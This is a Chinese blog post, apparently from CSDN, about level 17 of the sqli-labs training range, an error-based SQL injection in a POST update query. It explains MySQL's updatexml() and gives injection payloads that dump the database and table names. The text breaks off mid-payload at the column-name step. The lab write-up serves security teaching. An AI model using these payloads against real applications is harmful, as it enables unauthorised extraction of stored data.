sqli-labs靶场17关（基于post的更新查询报错注入）

最新推荐文章于 2025-05-05 21:16:44 发布

24team

最新推荐文章于 2025-05-05 21:16:44 发布

阅读量856

点赞数

CC 4.0 BY-SA版权

分类专栏： sqli-labs靶场文章标签： mysql 数据库

本文链接：https://blog.youkuaiyun.com/qq_46527080/article/details/111389643

知识点

updatexml()函数
updatexml()函数与extractvalue()类似，是更新xml文档的函数。
语法updatexml(目标xml文档，xml路径，更新的内容)
updatexml(XML_document,XPath_string,new_value);
第一个参数:XML_document是String格式，为XML文档对象的名称，文中为Doc
第二个参数:Xpath_String(Xpath格式的字符串）
第三个参数:new_value，String格式，替换查找到的符合条件的数据
作用：改变文档中符合条件的节点的值；
Xpath是W3c的一个标准。他最主要的目的是为了在XML1.0或1.1文档节点数中定位节点所设计。目前有Xpath1.0和Xpath2.0两个版本
讲述一下这个updatexml的直观用法

updatexml（名称，查询语句，替换所查找的字符所以导致报错的目的）意思就是第一个位置是给他取一个名字
第二个位置是咱们数据库的查询语句第三个位置就是咱们查询出来的东西替换成这个，从而导致报错

爆库名
'and(select updatexml(1,concat(0x7e,(select database())),0x7e))
爆表名
'and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))
爆列名
'and(select updatexml(1,